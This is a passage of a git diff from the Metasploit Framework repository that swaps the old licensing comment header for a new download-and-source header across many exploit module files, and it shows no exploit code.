licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/misc/zabbix_server_exec.rb b/modules/exploits/linux/misc/zabbix_server_exec.rb index 71bbb1f03b..384e496d42 100644 --- a/modules/exploits/linux/misc/zabbix_server_exec.rb +++ b/modules/exploits/linux/misc/zabbix_server_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/mysql/mysql_yassl_getname.rb b/modules/exploits/linux/mysql/mysql_yassl_getname.rb index 0e3540cc35..2e10c98e9f 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_getname.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_getname.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/mysql/mysql_yassl_hello.rb b/modules/exploits/linux/mysql/mysql_yassl_hello.rb index 76517e9dbd..62ae921b52 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_hello.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_hello.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb index 52f4caf6fa..a57924d170 100644 --- a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb +++ b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb index 56ee80be47..3515686a94 100644 --- a/modules/exploits/linux/postgres/postgres_payload.rb +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/pptp/poptop_negative_read.rb b/modules/exploits/linux/pptp/poptop_negative_read.rb index e3fc192b62..b3fdac4df4 100644 --- a/modules/exploits/linux/pptp/poptop_negative_read.rb +++ b/modules/exploits/linux/pptp/poptop_negative_read.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb index 67fbd95a9e..09e78ef2f1 100644 --- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb +++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/chain_reply.rb b/modules/exploits/linux/samba/chain_reply.rb index a1c00a307b..ebc5bfa949 100644 --- a/modules/exploits/linux/samba/chain_reply.rb +++ b/modules/exploits/linux/samba/chain_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index 32c5cae99c..f84eaab37b 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb index 35e0b67dc5..a4d693c99e 100644 --- a/modules/exploits/linux/samba/setinfopolicy_heap.rb +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb index 5a9aa1944d..67677f6c21 100644 --- a/modules/exploits/linux/samba/trans2open.rb +++ b/modules/exploits/linux/samba/trans2open.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index 636d2afb2c..4958e2a194 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb index 9561639274..6169dd0fbc 100644 --- a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb +++ b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 071878f4e1..2a560251ef 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb index 226987f148..82065cbcfc 100644 --- a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb index 64158c27eb..b860987d72 100644 --- a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb +++ b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb @@ -1,7 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com/ ## diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb index 490509e7aa..fb08a4e307 100644 --- a/modules/exploits/multi/browser/firefox_escape_retval.rb +++ b/modules/exploits/multi/browser/firefox_escape_retval.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb index 47078e3728..62c91ce581 100644 --- a/modules/exploits/multi/browser/firefox_queryinterface.rb +++ b/modules/exploits/multi/browser/firefox_queryinterface.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index d164f99590..0c5ab0eaf9 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index 7d4e839448..5c05cd2fd0 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index 27d104ae48..1593beb98d 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index a7e766bbcf..9345fa8861 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb index a49ceb6afb..d1a69aab2c 100644 --- a/modules/exploits/multi/browser/java_calendar_deserialize.rb +++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index ec7be08a02..4b066a8845 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_jre17_driver_manager.rb b/modules/exploits/multi/browser/java_jre17_driver_manager.rb index 6d07a64de3..61e0e76ab1 100644 --- a/modules/exploits/multi/browser/java_jre17_driver_manager.rb +++ b/modules/exploits/multi/browser/java_jre17_driver_manager.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_jre17_exec.rb b/modules/exploits/multi/browser/java_jre17_exec.rb index 80ca3b0bde..e6cb8917df 100644 --- a/modules/exploits/multi/browser/java_jre17_exec.rb +++ b/modules/exploits/multi/browser/java_jre17_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb index 038155cc8c..f00c9babad 100644 --- a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb +++ b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_jre17_jaxws.rb b/modules/exploits/multi/browser/java_jre17_jaxws.rb index 5ef773d918..d17ba0a387 100644 --- a/modules/exploits/multi/browser/java_jre17_jaxws.rb +++ b/modules/exploits/multi/browser/java_jre17_jaxws.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean.rb b/modules/exploits/multi/browser/java_jre17_jmxbean.rb index 004035864d..0eeedfb259 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index af391d1227..8b77c49bd4 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb index 1c571e8930..feb3612336 100644 --- a/modules/exploits/multi/browser/java_jre17_method_handle.rb +++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb index 8f36403518..ca14527ecc 100644 --- a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb +++ b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_jre17_reflection_types.rb b/modules/exploits/multi/browser/java_jre17_reflection_types.rb index 0ba24a7a77..137144b01c 100644 --- a/modules/exploits/multi/browser/java_jre17_reflection_types.rb +++ b/modules/exploits/multi/browser/java_jre17_reflection_types.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_rhino.rb b/modules/exploits/multi/browser/java_rhino.rb index 263842c501..d32a47b3c9 100644 --- a/modules/exploits/multi/browser/java_rhino.rb +++ b/modules/exploits/multi/browser/java_rhino.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_rmi_connection_impl.rb b/modules/exploits/multi/browser/java_rmi_connection_impl.rb index c7f2c15309..2ef2c8f189 100644 --- a/modules/exploits/multi/browser/java_rmi_connection_impl.rb +++ b/modules/exploits/multi/browser/java_rmi_connection_impl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index ebef609d7d..2ab03612cb 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index 4a148e7a9e..e64b19a2af 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index 4281219974..6e5bc0ca45 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_trusted_chain.rb b/modules/exploits/multi/browser/java_trusted_chain.rb index be61811883..f44d8de688 100644 --- a/modules/exploits/multi/browser/java_trusted_chain.rb +++ b/modules/exploits/multi/browser/java_trusted_chain.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb index ca8187e54d..2958c6e901 100644 --- a/modules/exploits/multi/browser/java_verifier_field_access.rb +++ b/modules/exploits/multi/browser/java_verifier_field_access.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index 119e0dcf5f..fe0d10c87b 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index 0b76588660..f915db9209 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/constants' diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb index 9a92490e3d..72aa51c2a7 100644 --- a/modules/exploits/multi/browser/opera_configoverwrite.rb +++ b/modules/exploits/multi/browser/opera_configoverwrite.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index 52669c41f8..e37445976c 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb index e57a45e14a..a56e3806fa 100644 --- a/modules/exploits/multi/browser/qtjava_pointer.rb +++ b/modules/exploits/multi/browser/qtjava_pointer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb index 02619d262c..b8e7a81eee 100644 --- a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb +++ b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/fileformat/maple_maplet.rb b/modules/exploits/multi/fileformat/maple_maplet.rb index 9b5a1fe006..0f73151539 100644 --- a/modules/exploits/multi/fileformat/maple_maplet.rb +++ b/modules/exploits/multi/fileformat/maple_maplet.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb index e15c3217b9..e526ecdcc1 100644 --- a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb +++ b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/fileformat/peazip_command_injection.rb b/modules/exploits/multi/fileformat/peazip_command_injection.rb index ca3bbcbca7..364a79eb13 100644 --- a/modules/exploits/multi/fileformat/peazip_command_injection.rb +++ b/modules/exploits/multi/fileformat/peazip_command_injection.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb index cd196a4989..e37e619ff1 100644 --- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb +++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index b7031a7fa5..77000a4e21 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb index 9f994cd6b7..4479a5a824 100644 --- a/modules/exploits/multi/http/activecollab_chat.rb +++ b/modules/exploits/multi/http/activecollab_chat.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to 